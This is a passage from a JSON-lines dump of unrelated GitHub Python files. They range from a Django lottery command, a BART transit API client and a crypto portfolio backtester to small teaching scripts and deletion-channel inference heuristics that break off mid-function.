oarepo_model_builder_files.datatypes.components import FilesFieldModelComponent\n\n\nclass DraftFilesFieldModelComponent(FilesFieldModelComponent):\n eligible_datatypes = [FileDataType]\n depends_on = [RecordModelComponent]\n dependency_remap = FilesFieldModelComponent\n\n def before_model_prepare(self, datatype, *, context, **kwargs):\n if datatype.root.profile not in {\"files\", \"draft_files\"}:\n return\n files_field = set_default(datatype, \"files-field\", {})\n if datatype.root.profile == \"draft_files\":\n record_class = datatype.definition[\"record\"][\"class\"]\n files_field.setdefault(\"file-class\", base_name(record_class))\n files_field.setdefault(\"field-args\", [\"store=False\", \"delete=False\"])\n files_field.setdefault(\n \"imports\",\n [\n {\n \"import\": \"invenio_records_resources.records.systemfields.FilesField\"\n },\n {\"import\": record_class},\n ],\n )\n\n if datatype.root.profile == \"files\":\n files_field.setdefault(\n \"field-args\", [\"store=False\", \"create=False\", \"delete=False\"]\n )\n\n super().before_model_prepare(datatype, context=context, **kwargs)\n","repo_name":"oarepo/oarepo-model-builder-drafts-files","sub_path":"oarepo_model_builder_drafts_files/datatypes/components/draft_file_model/files_field.py","file_name":"files_field.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42276721967","text":"from secrets import choice\n\nfrom django.core.management.base import BaseCommand\n\nfrom fbsurvivor.core.models import Player, Season\n\n\nclass Command(BaseCommand):\n help = \"Pick the winner of free entry for next season\"\n\n def handle(self, *args, **options):\n current_season = Season.objects.get(is_current=True)\n\n # filter out players who retired, won survivor, and me\n players = Player.objects.filter(\n playerstatus__season=current_season,\n playerstatus__is_retired=False,\n playerstatus__is_survivor=False,\n ).exclude(username=\"DanTheAutomator\")\n\n # filter out players who missed picks during the season\n ep = [\n p.username\n for p in players\n if not p.pick_set.filter(team__isnull=True, week__season=current_season)\n and sum(p.payout_set.filter(season=current_season).values_list(\"amount\", flat=True))\n < 30\n ]\n display = \"\\n\".join(ep)\n\n print(f\"\\n\\nEligible Players:\\n\\n{display}\\n\\n\")\n print(f\"And the winner is... {choice(ep)}\\n\\n\")\n","repo_name":"dansahagian/fbsurvivor2","sub_path":"fbsurvivor/core/management/commands/pick_lottery_winner.py","file_name":"pick_lottery_winner.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35292989635","text":"from pyfirmata import util, Arduino\nimport time\n\n\ndef blink(b_time):\n board = Arduino('/dev/ttyACM0')\n it = util.Iterator(board)\n it.start()\n\n led_13 = board.get_pin('d:13:o')\n while True:\n led_13.write(1)\n print('Led ON')\n time.sleep(b_time)\n led_13.write(0)\n print('Led OFF')\n time.sleep(b_time)\n\n\nif __name__ == '__main__':\n blink(0.2)\n","repo_name":"PitPietro/arduino-py","sub_path":"led/blink/standard_blink.py","file_name":"standard_blink.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35857884248","text":"import urllib.request\nimport ssl\nimport json\nimport time\nimport pandas as pd\nfrom datetime import datetime\nimport numpy as np\nimport plotly\nimport ffn\nimport finquant\nfrom pycoingecko import CoinGeckoAPI\ncg = CoinGeckoAPI()\nfrom datetime import date\nimport streamlit as st\n\n\ndf_ticker = pd.read_csv('tickers.csv')\n\n\ndef get_coin_prices(coin_list):\n frames = []\n for coin_name in coin_list:\n df_price = pd.DataFrame.from_dict(cg.get_coin_market_chart_by_id(id=coin_name, vs_currency='usd', days=364))\n df = pd.DataFrame()\n df[coin_name] = [i[1] for i in df_price[\"prices\"]]\n df.index = [datetime.fromtimestamp(int(i[0])/1000.0) for i in df_price[\"prices\"]]\n frames.append(df)\n df = pd.concat(frames, axis=1)\n df.index.name = \"Date\"\n return df\n\n\ndef get_coin_name_list(symbol_list):\n l = []\n for c in symbol_list:\n c = c.lower()\n name = df_ticker[df_ticker[\"symbol\"] == c]\n l.append(name)\n return l\n\ncoin_list = [\"bitcoin\", \"ethereum\", \"cardano\", \"litecoin\", \"solana\", \"pancakeswap-token\", \"ripple\", \"polkadot\", \"binancecoin\"]\nsymbol_list = ['ADA', 'ETH', 'AGI', 'LINK', 'SOL', 'LTC', 'COTI', 'ETC' '1inch']\nprint(get_coin_name_list(symbol_list))\n\ndf = get_coin_prices(coin_list).dropna()\nprint(df)\ndf_copy = df.copy()\n\n#info = cg.get_coin_market_chart_by_id(id=coin_list[0], vs_currency='usd', days=364)\n#print(info)\nreturns_df = df.to_returns()\n\n\nreturns = ffn.core.to_returns(df)\ndef calc_stats_from_df(df):\n perf = ffn.core.calc_stats(df)\n stats = perf.stats.T\n stats = stats.sort_values(by=\"monthly_sharpe\", ascending=False)\n return stats\n\n\ndef calc_weights(returns):\n weights_df = pd.DataFrame()\n weights_df[\"risk_parity_weights\"] = ffn.core.calc_erc_weights(returns, initial_weights=None, risk_weights=None, covar_method='standard', risk_parity_method='ccd', maximum_iterations=1000, tolerance=1e-03)\n weights_df[\"inv_vol_weights\"] = ffn.core.calc_inv_vol_weights(returns)\n weights_df[\"mean_var_weights\"] = ffn.calc_mean_var_weights(returns, rf=0.05, covar_method='standard')\n return weights_df\nweights_df = calc_weights(returns)\nprint(weights_df)\n\ndef back_testing(df, strategy_name):\n df_rel = df.div(df.iloc[0])\n for col in df.columns:\n df_rel[col] = df_rel[col] * weights_df[strategy_name][col]\n overall = []\n for i in range(len(df_rel.index)):\n overall.append(np.sum(df_rel.iloc[i]))\n return overall\n\ndf_rel = df.div(df.iloc[0])\ndf_rel[\"risk_parity_weights\"] = back_testing(df, \"risk_parity_weights\")\ndf_rel[\"inv_vol_weights\"] = back_testing(df, \"inv_vol_weights\")\ndf_rel[\"mean_var_weights\"] = back_testing(df, \"mean_var_weights\")\nst.dataframe(df_rel)\n\ndf_stats = calc_stats_from_df(df_rel)\nst.dataframe(df_stats)\n\nimport matplotlib.pyplot as plt\nimport plotly.graph_objects as go\n\nfig = go.Figure()\nfor i in df_rel.columns:\n \n if i in [\"risk_parity_weights\", \"inv_vol_weights\"]:\n fig.add_trace(go.Scatter(x=df_rel.index, y=df_rel[i],\n mode='lines',\n name=i))\n else:\n fig.add_trace(go.Scatter(x=df_rel.index, y=df_rel[i],\n mode='lines',\n name=i, opacity=0.2))\n #plt.plot(df_rel.index, df_rel[i], alpha=0.2, linewidth=0.5)\n#plt.legend(loc='best', bbox_to_anchor=(0.5, 0., 0.5, 0.5))\n#fig.update_layout(\"May 2020 - May 2021 Investiment strategies backtesting\")\nst.write(fig)\n\nfrom finquant.portfolio import build_portfolio\n\n\npf = build_portfolio(data=df_copy)\n# Monte Carlo optimisation\nopt_w, opt_res = pf.mc_optimisation(num_trials=5000)\npf.mc_plot_results()\n# minimisation to compute efficient frontier and optimal portfolios along it\npf.ef_plot_efrontier()\npf.ef.plot_optimal_portfolios()\n# plotting individual stocks\npf.plot_stocks()\n\n\n","repo_name":"lucambottino/crypto_portfolio_balancer","sub_path":"interface_streamlit.py","file_name":"interface_streamlit.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26306006350","text":"#!/usr/bin/env python3\n\"\"\"List BART trains\n- Author: hagemt (2021)\n- License: MIT\n\"\"\"\n# USAGE: env BART_END=sfia BART_FMT=json ./bart.py | jq .summary -r | sort\nimport datetime as DT\nimport json\nimport os\nimport sys\nimport typing as T\nimport warnings\nfrom collections import namedtuple\n\n# bs4 not required because BART provides JSON (like Caltrain, as of 2023)\nimport click\nimport requests as HTTP\n\n_KEY = os.getenv(\"BART_KEY\", \"MW9S-E7SL-26DU-VV8V\") ## legacy API # nosec\n_URL = os.getenv(\"BART_URL\", \"https://api.bart.gov\") # you can replace these\n\n# real-time API response (est. time departing, etc.)\n_ETD = namedtuple(\"_ETD\", \"bearing bikes cars delay color dst src summary when\")\n\n\ndef _dump_named(*args, human=None):\n \"\"\"Print BART trains leaving station soon (abbr in args)\n (note: the abbreviation ALL is valid for every station)\n \"\"\"\n\n def fetch_json(url: str) -> T.Optional[dict]:\n try:\n headers = {\n \"User-Agent\": \"@hagemt/bart.py\",\n }\n res = HTTP.get(url, headers=headers, timeout=10)\n res.raise_for_status()\n return res.json().get(\"root\")\n except (HTTP.exceptions.HTTPError, ValueError) as err:\n warnings.warn(f\"HTTP GET {url} failed; err={err}\")\n return None\n\n def safe_color(line: str, html=None) -> T.Union[str, T.Tuple[int, ...]]:\n if html is None:\n colors = {\"ORANGE\": \"bright_red\"} # vs. ANSI colors\n return colors[line] if line in colors else line.lower()\n chunks = [html[1:3], html[3:5], html[5:7]] # RRGGBB\n return tuple(int(s, 16) for s in chunks)\n\n def yield_trains(abbr: str, root: T.Optional[dict]):\n if root is None:\n return\n for station in root.get(\"station\", []):\n for etd in station.get(\"etd\", []):\n for estimate in etd.get(\"estimate\", {}):\n source = station.get(\"abbr\", abbr)\n target = etd.get(\"abbreviation\", \"?\")\n # can we deduce new vs. old trains from length?\n bearing = estimate.get(\"direction\", \"?\") # North/South\n delay = estimate.get(\"delay\", \"1\") # in minutes\n line = estimate.get(\"color\", \"?\") # e.g. ORANGE, ignores hexcolor\n minutes = estimate.get(\"minutes\", \"0\") # est. departure\n platform = estimate.get(\"platform\", \"?\") # 1-4?\n # skip over any train that is already leaving (etd=0 minutes from now)\n when = 0 if minutes == \"Leaving\" else int(minutes)\n summary = f\"{line}\\t{source}#{platform} {bearing} to {target} in {when:>3}min\"\n if station.get(\"limited\") == \"1\":\n summary += \" (limited)\"\n if when > 0:\n yield _ETD(\n **{\n \"bearing\": bearing,\n \"bikes\": estimate.get(\"bikeflag\") == \"1\",\n \"cars\": estimate.get(\"length\", \"?\"), # 1-10\n \"color\": safe_color(\n line, html=estimate.get(\"hexcolor\")\n ),\n \"delay\": f\"{delay}min\" if delay != \"0\" else None,\n \"dst\": etd.get(\"destination\", \"?\"),\n \"src\": station.get(\"name\", \"?\"),\n \"summary\": summary,\n \"when\": when,\n }\n )\n\n for abbr in map(lambda a: a.upper(), args):\n trains = []\n # http://api.bart.gov/docs/etd/etd.aspx\n url = f\"{_URL}/api/etd.aspx?cmd=etd&json=y&key={_KEY}&orig={abbr}\"\n for train in yield_trains(abbr, fetch_json(url)):\n trains.append(train)\n if human is True:\n click.secho(train.summary, fg=train.color) # stable output?\n else:\n click.echo(json.dumps(train._asdict(), separators=(\",\", \":\")))\n if not trains:\n now = DT.datetime.now()\n end = (now + DT.timedelta(days=1)).replace(hour=5, minute=0)\n ddt = int((end - now).total_seconds() / 60 % (24 * 60)) # minutes\n warnings.warn(\n \"\\n\".join(\n [\n \"Either you are offline, or BART isn't running; check URL:\",\n url,\n f\"NOTE: weekday trains start at 5am, which is in {ddt} min\",\n ]\n )\n )\n\n\n_CLI_DEFAULTS = dict(\n default_map=dict(\n {\n None: dict(\n is_human=os.getenv(\"BART_FMT\", \"text\") != \"json\",\n stations=os.getenv(\"BART_END\", \"ALL\").split(\",\"),\n ),\n }\n ),\n)\n\n\n@click.group(chain=False, context_settings=_CLI_DEFAULTS, invoke_without_command=True)\n@click.pass_context\ndef cli(ctx):\n \"\"\"Scrapes real-time information regarding BART\"\"\"\n if ctx.invoked_subcommand is None:\n defaults = _CLI_DEFAULTS.get(\"default_map\", {})\n settings = defaults.get(None, {})\n is_human = settings.get(\"is_human\")\n stations = settings.get(\"stations\")\n with warnings.catch_warnings(record=True) as group:\n # http://api.bart.gov/docs/overview/abbrev.aspx\n _dump_named(*stations, human=is_human) # type: ignore\n for warning in group:\n msg = f\"Warning: {warning.message}\"\n click.secho(msg, fg=\"yellow\", file=sys.stderr)\n\n\ndef main(*args, **kwargs):\n \"\"\"Invokes Click\"\"\"\n cli(*args, **kwargs)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"hagemt/sv-transit-py","sub_path":"modes/bart.py","file_name":"bart.py","file_ext":"py","file_size_in_byte":5778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"1237229301","text":"# Class Variable or Static Variable in Python\n# class Mobile:\n# fp = \"yes\" # Class Variable\n\n# @classmethod\n# def is_fp(cls):\n# print(cls.fp)\n\n# realme = Mobile()\n# print(Mobile.fp)\n# Mobile.is_fp()\n\n\nclass Mobile:\n fp = \"yes\" # Class Variable\n\n def __init__(self):\n self.model = \"Realme X\"\n\n def show_model(self):\n print(f\"Model: {self.model}\")\n\n @classmethod\n def is_fp(cls):\n print(f\"Finger Print: {cls.fp}\") #Accessing class variable\n\n\nrealme = Mobile()\nrealme.show_model()\nMobile.is_fp()\n\nprint()\n\nMobile.fp = \"No\" # modifying class variable\n\nrealme = Mobile()\nrealme.show_model()\nMobile.is_fp()\n","repo_name":"minhaz-engg/Advance-Python-Geeky-Shows","sub_path":"Class Variable or Static Variable in Python/class_variable.py","file_name":"class_variable.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74332884321","text":"# Definition for an interval.\n# class Interval(object):\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n n = len(intervals)\n if n == 0:\n return [newInterval]\n start = newInterval.start\n new = []\n i = 0\n while i < n:\n if start <= intervals[i].start:\n new.append(newInterval)\n break\n else:\n new.append(intervals[i])\n i += 1\n if i == n:\n new.append(newInterval)\n else:\n new.extend(intervals[i:])\n intervals = new\n #print [[interval.start, interval.end] for interval in new]\n first = intervals[0]\n result = [Interval(first.start, first.end)]\n for i in range(1, n + 1):\n prev = result[-1]\n current = intervals[i]\n if prev.end >= current.start:\n prev.end = max(prev.end, current.end)\n else:\n result.append(Interval(current.start, current.end))\n return result\n","repo_name":"Firkraag/leetcode","sub_path":"57-Insert-Interval/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"54"} +{"seq_id":"15080345770","text":"from collections import deque\n\nm,n = map(int,input().split())\nmiro_list = []\n\nvisited = [[ False for j in range(m)] for i in range(n)]\n\nfor i in range(n):\n input_str = input()\n miro_list.append([int(input_str[t]) for t in range(m)])\n\nvisited[0][0] = 0\n\nq = deque()\nq.append((0,0))\ndiff_x = [1,-1,0,0]\ndiff_y = [0, 0, 1, -1]\nwhile q:\n now_x,now_y = q.popleft()\n if now_x == n-1 and now_y == m-1:\n print(visited[n-1][m-1])\n break\n\n for i in range(4):\n next_x = now_x+diff_x[i]\n next_y = now_y+diff_y[i]\n if 0 <= next_x and next_x < n and 0<=next_y and next_y < m and visited[next_x][next_y] is False:\n if miro_list[next_x][next_y] == 0:\n visited[next_x][next_y] = visited[now_x][now_y]\n q.appendleft((next_x,next_y))\n else:\n visited[next_x][next_y] = visited[now_x][now_y] + 1\n q.append((next_x,next_y))\n","repo_name":"ohtaehyun/algo_study","sub_path":"1261.py","file_name":"1261.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9443921588","text":"import turtle\nimport primefac\n\nwindow = turtle.Screen()\npen = turtle.Turtle()\n\nwindow.screensize(1000, 1000)\n\nwindow.setworldcoordinates(-500, -500, 500, 500)\n\nwindow.bgcolor(\"black\")\npen.color(\"green\")\npen.pensize(.000001)\npen.shape(\"blank\")\npen.speed(0)\n\nwindow.tracer(10000, 0)\npen.up()\n\n# Generates the basic mapping, no prime distinction\n# for x in range(0, 20):\n# for y in range(0, 25):\n# pen.goto(30*x - 500, 30*y - 500)\n# num = (x+y)*(x+y+1)/2 + x\n# pen.write(num)\n\n# Generating the mapping, coloring in the primes green\nfor x in range(0, 20):\n for y in range(0, 25):\n pen.goto(30*x - 500, 30*y - 500)\n num = (x+y)*(x+y+1)/2 + x\n if primefac.isprime(num):\n pen.color(\"red\")\n else:\n pen.color(\"gray\")\n pen.write(num)\n\n\n\n\nwindow.exitonclick()\n","repo_name":"scoutiii/PYTHON-primeNumberCode","sub_path":"mappingVisualization.py","file_name":"mappingVisualization.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1017867744","text":"\"\"\"\nMetaheuristics and algorithms for inference over deletion channels. \nNote that these are metaheuristics, and can be easily generalized\nto any channel. When using these for other channels, the \nalgorithm for computing lambda, its gradient and the channel parameters\n(such as delta) change. The metaheuristic remains the same otherwise.\n\n- exact_ml: for true maximum likelihood sequence\n- symbolwise_map: self-explanatory\n- coordinate_refinement_greedy: self-explanatory\n- proj_grad_asc: projected gradient ascent\n\nHelper function for these also included at the end.\n\n\"\"\"\nimport random\nimport numpy as np\nimport math\n\nfrom numba import jit,prange\n\nfrom helper_functions import *\n\nfrom itertools import product\n\n\ndef exact_ml(N,A,Y,lambda_forward,delta):\n \"\"\"\n Function to compute exact maximum-likelihood sequence for deletion channel\n \n Parameters\n ----------\n - N: length of input sequence\n - A: the alphabet size\n - Y: numpy array of length M, the observation\n - lambda_forward: algorithm to compute log Pr(Y_{1:j}|X_{1:i}) for all i,j\n - delta: deletion probability\n \n Returns\n -------\n - best_seq: most likely input sequence\n \n \"\"\"\n\n list_seq = [i for i in product(range(A), repeat = N)]\n \n list_seq = np.array(list_seq)\n \n best_seq = exact_ml_computation(N,A,Y,lambda_forward,list_seq,delta)\n \n return best_seq\n\n@jit(nopython = True)\ndef exact_ml_computation(N,A,Y,lambda_forward,list_seq,delta):\n \"\"\"\n jitted support function for ML calculation\n \n Parameters\n ----------\n - N: length of input sequence\n - A: the alphabet size\n - Y: numpy array of length M, the observation\n - lambda_forward: algorithm to compute log Pr(Y_{1:j}|X_{1:i}) for all i,j\n - list_seq: list of all possible N length sequences\n - delta: deletion probability\n \n Returns\n -------\n - best_seq: most likely input sequence\n \n \"\"\"\n \n max_val = -1e100\n \n best_seq = list_seq[0]\n \n for i in range(list_seq.shape[0]):\n \n temp = make_categorical(list_seq[i],A)\n \n lambda_val = lambda_forward(temp,Y,delta)[-1,-1]\n \n if lambda_val > max_val:\n max_val = lambda_val\n best_seq = list_seq[i]\n \n return best_seq\n \n\n@jit(nopython = True)\ndef symbolwise_map(P_prior,Y,lambda_grad,delta):\n \"\"\"\n Function to compute symbolwise MAP\n \n Parameters\n ----------\n - P_prior: N*A numpy array of prior probability distribution\n - Y: numpy array of length M, the observation\n - lambda_grad: function to compute the log of gradient of lambda\n - delta: the deletion probability\n \n Returns\n -------\n - X: symbolwise MAP estimate of the input\n \n \"\"\"\n N = P_prior.shape[0]\n A = P_prior.shape[1]\n \n G = lambda_grad(P_prior,Y,delta)\n \n temp = np.zeros_like(G[0,:]) \n \n for a in range(A):\n if P_prior[0,a] == 0:\n temp[a] = -1e100\n else:\n temp[a] = G[0,a] + math.log(P_prior[0,a])\n\n lambda_val = max(temp) + math.log(np.exp(temp-max(temp)).sum())\n # compute the log lambda from gradient\n \n \n log_P_post = np.log(P_prior+1e-100) + G - lambda_val # formula for symbolwise MAP\n P_post = np.exp(log_P_post) \n \n X = decode_from_P(P_post)\n \n return X\n\n\n@jit(nopython = True)\ndef cood_refinement_greedy(P_init,Y,lambda_grad, delta, max_iter = 10, print_conv_iter = False):\n \"\"\"\n The metaheuristic for greedy coordinate refinement.\n \n Parameters\n ----------\n - P_init: N*A numpy array for initial distribution\n - Y: numpy array of length M for observation vector\n - lambda_grad: a jitted function that returns a numpy array\n of size N*A where the (i,a)th entry is \n equal to log d/dP_{(i+1)a} lambda(P,Y)\n - delta: deletion probability\n - max_iter: maximum number of refinement iterations\n \n Returns\n -------\n - a numpy array of length N which is an estimate of input X,\n given observation Y.\n \n Notes\n -----\n This function is jitted, meaning that this function isn't \n written in a \"pythonic\" fashion, disregarding broadcasting\n and other python capabilities that typically correspond to\n good programming practices. In fact, you will see the usage\n of many for loops etc., which can definitely be avoided with\n usual python programming. However, writing this function\n this way allows us to jit and compile the function that makes \n it extremely fast during runtime.\n \n \"\"\"\n \n P = P_init * np.ones_like(P_init)\n \n N = P_init.shape[0]\n A = P_init.shape[1]\n M = Y.shape[0]\n \n for it in range(max_iter):\n \n vis_indices = np.zeros(N) # initialize all vertices as unvisited\n \n while (vis_indices.sum() < N):\n\n G = lambda_grad(P,Y,delta) # compute gradient\n \n temp = np.zeros_like(G[0,:]) \n \n for a in range(A):\n if P[0,a] == 0:\n temp[a] = -1e100\n else:\n temp[a] = G[0,a] + math.log(P[0,a])\n \n lambda_val = max(temp) + math.log(np.exp(temp-max(temp)).sum())\n # compute the log lambda val from gradient\n \n gain = G - lambda_val # gain measures how much each gradient val\n # increases the function by\n \n \n if check_lattice_point(P):\n if gain.max() <= 1e-10: # if no gradient gives gain, then fixed point\n \n if print_conv_iter:\n print('converged in ',it+1, 'iterations')\n return make_vector(P)\n \n for i in range(N): # remove visited indices from picture\n if vis_indices[i] == 1:\n gain[i,:] -= 1e100\n \n gain_max = -1.0\n\n for i in range(N):\n for a in range(A):\n if gain[i,a] >= gain_max: # choose i,a that gives max gain\n gain_max = gain[i,a]\n i_star,a_star = i,a\n \n \n P[i_star,:] = 0\n P[i_star,a_star] = 1\n \n vis_indices[i_star] = 1\n \n if print_conv_iter: \n print('converged in ',it+1, 'iterations')\n return make_vector(P)\n\n\n@jit(nopython = True)\ndef proj_grad_asc(P_prior,Y,lambda_grad,delta,step_size = 0.1,tolerance = 1e-6,max_grad_steps = 100):\n \"\"\"\n Function for projected gradient ascent.\n \n Parameters\n ----------\n - P_prior: N*A numpy array of starting probability distribution\n - Y: numpy array of length M, the observation\n - lambda_grad: function to compute the log of gradient of lambda\n - delta: the deletion probability\n - step_size: float\n - tolerance: float in [0,1]\n - max_grad_steps: max number of gradient steps\n \n Returns\n -------\n - X: estimate of the input obtained via projected gradient ascent\n \n \"\"\"\n N = P_prior.shape[0]\n A = P_prior.shape[1]\n \n P = P_prior * np.ones_like(P_prior)\n \n #lambda_list = []\n lambda_list = np.zeros(max_grad_steps)\n\n for it in range(max_grad_steps):\n\n G = lambda_grad(P,Y,delta)\n \n temp = np.zeros_like(G[0,:]) \n for a in range(A):\n if P[0,a] == 0:\n temp[a] = -1e100\n else:\n temp[a] = G[0,a] + math.log(P[0,a])\n\n lambda_val = max(temp) + math.log(np.exp(temp-max(temp)).sum())\n # compute the log lambda val from gradient\n lambda_list[it] = lambda_val\n \n P = P + step_size * np.exp(G - lambda_val) # gradient ascent step\n \n P = simplex_proj_mat(P) # projection step\n \n if it > 5:\n if (np.std(lambda_list[it-5:it])/np.abs(lambda_list[it-5:it].min()) < tolerance):\n break\n \n X = decode_from_P(P) \n return X\n\n@jit(nopython = True)\ndef sim_anneal(P_prior,Y,lambda_forward,delta,step_size = 0.05,max_steps = 1000):\n \"\"\"\n Function for simulated annealing.\n \n Parameters\n ----------\n - P_prior: N*A numpy array of starting probability distribution\n - Y: numpy array of length M, the observation\n - lambda_forward: algorithm to compute log Pr(Y_{1:j}|X_{1:i}) for all i,j\n - delta: the deletion probability\n - step_size: float\n - max_steps: max number of steps\n \n Returns\n -------\n - X: estimate of the input obtained via simulated annealing\n \n \"\"\"\n \n N = P_prior.shape[0]\n A = P_prior.shape[1]\n \n P = P_prior * np.ones_like(P_prior)\n \n lambda_list = np.zeros(max_steps)\n \n curr_cost = lambda_forward(P, Y, delta)[-1,-1]\n \n for it in range(max_steps):\n \n frac = it / float(max_steps)\n temp = max(0.01, min(1,1-frac))\n \n new_P = P + np.random.normal(0,step_size,(N,A)) # random step\n new_P = simplex_proj_mat(new_P) # projection step\n \n new_cost = lambda_forward(new_P, Y, delta)[-1,-1]\n \n lambda_list[it] = new_cost\n \n if curr_cost < new_cost or np.exp((new_cost-curr_cost)/temp) > np.random.random():\n curr_cost = new_cost\n P = new_P\n \n X = decode_from_P(P)\n return X\n\n@jit(nopython = True)\ndef sim_anneal_with_restart(P_prior,Y,lambda_forward,delta,step_size = 0.05,max_steps = 100,num_restarts = 10):\n \"\"\"\n Function for simulated annealing with restarts.\n \n Parameters\n ----------\n - P_prior: N*A numpy array of starting probability distribution\n - Y: numpy array of length M, the observation\n - lambda_forward: algorithm to compute log Pr(Y_{1:j}|X_{1:i}) for all i,j\n - delta: the deletion probability\n - step_size: float\n - max_steps: number of steps per restart\n - num_restarts: number of restarts (total num of iterations = steps*num_restarts)\n \n Returns\n -------\n - X: estimate of the input obtained via simulated annealing with restarts\n \n \"\"\"\n \n N = P_prior.shape[0]\n A = P_prior.shape[1]\n \n P = P_prior * np.ones_like(P_prior)\n \n lambda_list = np.zeros(max_steps)\n \n curr_cost = lambda_forward(P, Y, delta)[-1,-1]\n \n best_P = P\n best_cost = curr_cost\n \n for r in range(num_restarts):\n \n P = best_P\n curr_cost = best_cost\n \n for it in range(max_steps):\n \n frac = it / float(max_steps)\n temp = max(0.01, min(1,1-frac))\n \n new_P = P + np.random.normal(0,step_size,(N,A)) # random step\n new_P = simplex_proj_mat(new_P) # projection step\n \n new_cost = lambda_forward(new_P, Y, delta)[-1,-1]\n \n lambda_list[it] = new_cost\n \n if best_cost < new_cost:\n best_cost = new_cost\n best_P = new_P\n \n if curr_cost < new_cost or np.exp((new_cost-curr_cost)/temp) > np.random.random():\n curr_cost = new_cost\n P = new_P\n \n X = decode_from_P(best_P)\n return X\n\n@jit(nopython = True)\ndef genetic_algorithm(P_prior,Y,lambda_forward,delta,pop_size = 10,mut_prob = 0.2,max_iters = 1000,do_crossover=True):\n \"\"\"\n Function for genetic algorithm.\n \n Parameters\n ----------\n - P_prior: N*A numpy array of starting probability distribution\n - Y: numpy array of length M, the observation\n - lambda_forward: algorithm to compute log Pr(Y_{1:j}|X_{1:i}) for all i,j\n - delta: the deletion probability\n - pop_size: size of population\n - mut_prob: probability of mutation. 0 means no mutations.\n - max_iters: max iterations\n - do_crossover: whether to generate children using crossover\n \n Returns\n -------\n - X: estimate of the input obtained via genetic algorithm\n \n \"\"\"\n \n N = P_prior.shape[0]\n A = P_prior.shape[1]\n \n P = P_prior * np.ones_like(P_prior)\n \n population = []\n \n for it in range(pop_size):\n \n member = P + np.random.normal(0,0.5,(N,A))\n member = simplex_proj_mat(member)\n population.append(member)\n \n for it in range(max_iters):\n \n fitness = np.zeros(pop_size)\n \n best_fit1 = 0\n best_fit2 = 0\n best_idx1 = 0\n best_idx2 = 0\n \n worst_fit1 = -1\n worst_fit2 = -1\n worst_idx1 = -1\n worst_idx2 = -1\n \n for idx in range(pop_size):\n \n fit = lambda_forward(population[idx], Y, delta)[-1,-1]\n fitness[idx] = fit\n \n \n if worst_fit1 == -1:\n worst_fit1 = fit\n worst_idx1 = idx\n \n if worst_fit2 == -1:\n worst_fit2 = fit\n worst_idx2 = idx\n \n if fit > best_fit1:\n best_fit2 = best_fit1\n best_idx2 = best_idx1\n best_fit1 = fit\n best_idx1 = idx\n elif fit > best_fit2:\n best_fit2 = fit\n best_idx2 = idx\n elif fit < worst_fit1:\n worst_fit2 = worst_fit1\n worst_idx2 = worst_idx1\n worst_fit1 = fit\n worst_idx1 = idx\n elif fit < worst_fit2:\n worst_fit2 = fit\n worst_idx2 = idx\n \n parent1 = population[best_idx1]\n parent2 = population[best_idx2]\n \n if do_crossover:\n crossover = np.random.randint(N)\n else:\n crossover = N\n \n child1 = np.concatenate((parent1[0:crossover,:],parent2[crossover:,:]),axis=0)\n child2 = np.concatenate((parent2[0:crossover,:],parent1[crossover:,:]),axis=0)\n \n for sym in range(N):\n if np.random.random() < mut_prob:\n child1[sym,:] = child1[sym,::-1]\n if np.random.random() < mut_prob:\n child2[sym,:] = child2[sym,::-1]\n \n population[worst_idx1] = child1\n population[worst_idx2] = child2\n \n best_fit = 0\n best_idx = 0\n \n for idx in range(pop_size):\n \n fit = lambda_forward(population[idx], Y, delta)[-1,-1]\n fitness[idx] = fit\n \n if fit > best_fit:\n best_fit = fit\n best_idx = idx\n \n X = decode_from_P(population[best_idx])\n return X\n\n@jit(nopython = True)\ndef beam_search(P_prior,Y,lambda_forward,delta,num_states=10,tolerance = 1e-6,max_steps=1000):\n \"\"\"\n Function for beam search\n \n Parameters\n ----------\n - P_prior: N*A numpy array of starting probability distribution\n - Y: numpy array of length M, the observation\n - lambda_forward: algorithm to compute log Pr(Y_{1:j}|X_{1:i}) for all i,j\n - delta: the deletion probability\n - num_states: number of best states to keep at each step\n - tolerance: float in [0,1]\n - max_steps: max number of steps\n \n Returns\n -------\n - X: estimate of the input obtained via beam search\n \n \"\"\"\n \n N = P_prior.shape[0]\n A = P_prior.shape[1]\n \n states = []\n \n for i in range(num_states):\n rand_state = randseq_non_uniform(N,1/A * np.ones(A)) # Change to P_prior?\n states.append(rand_state)\n \n for it in range(max_steps):\n \n neighbors = []\n for i in range(num_states):\n neighbors.append(states[i])\n for j in range(N):\n neighbors.append(flip_bit_at_j(states[i],j))\n \n lambda_values = []\n for i in range(len(neighbors)):\n cat_X = make_categorical(neighbors[i],A)\n lambda_values.append(lambda_forward(cat_X, Y, delta)[-1,-1])\n \n states.clear()\n for i in range(num_states):\n idx = np.argmax(np.array(lambda_values))\n states.append(neighbors[idx])\n lambda_values[idx] = 0\n \n return states[0]\n\n\n############################# HELPER FUNCTIONS ###################################\n\n@jit(nopython = True)\ndef flip_bit_at_j(X,j):\n \"\"\"\n Given a sequence X, flip bit at j-th index\n \"\"\"\n bit = np.arange(1,2)\n if X[j]==0:\n bit = np.arange(0,1)\n return 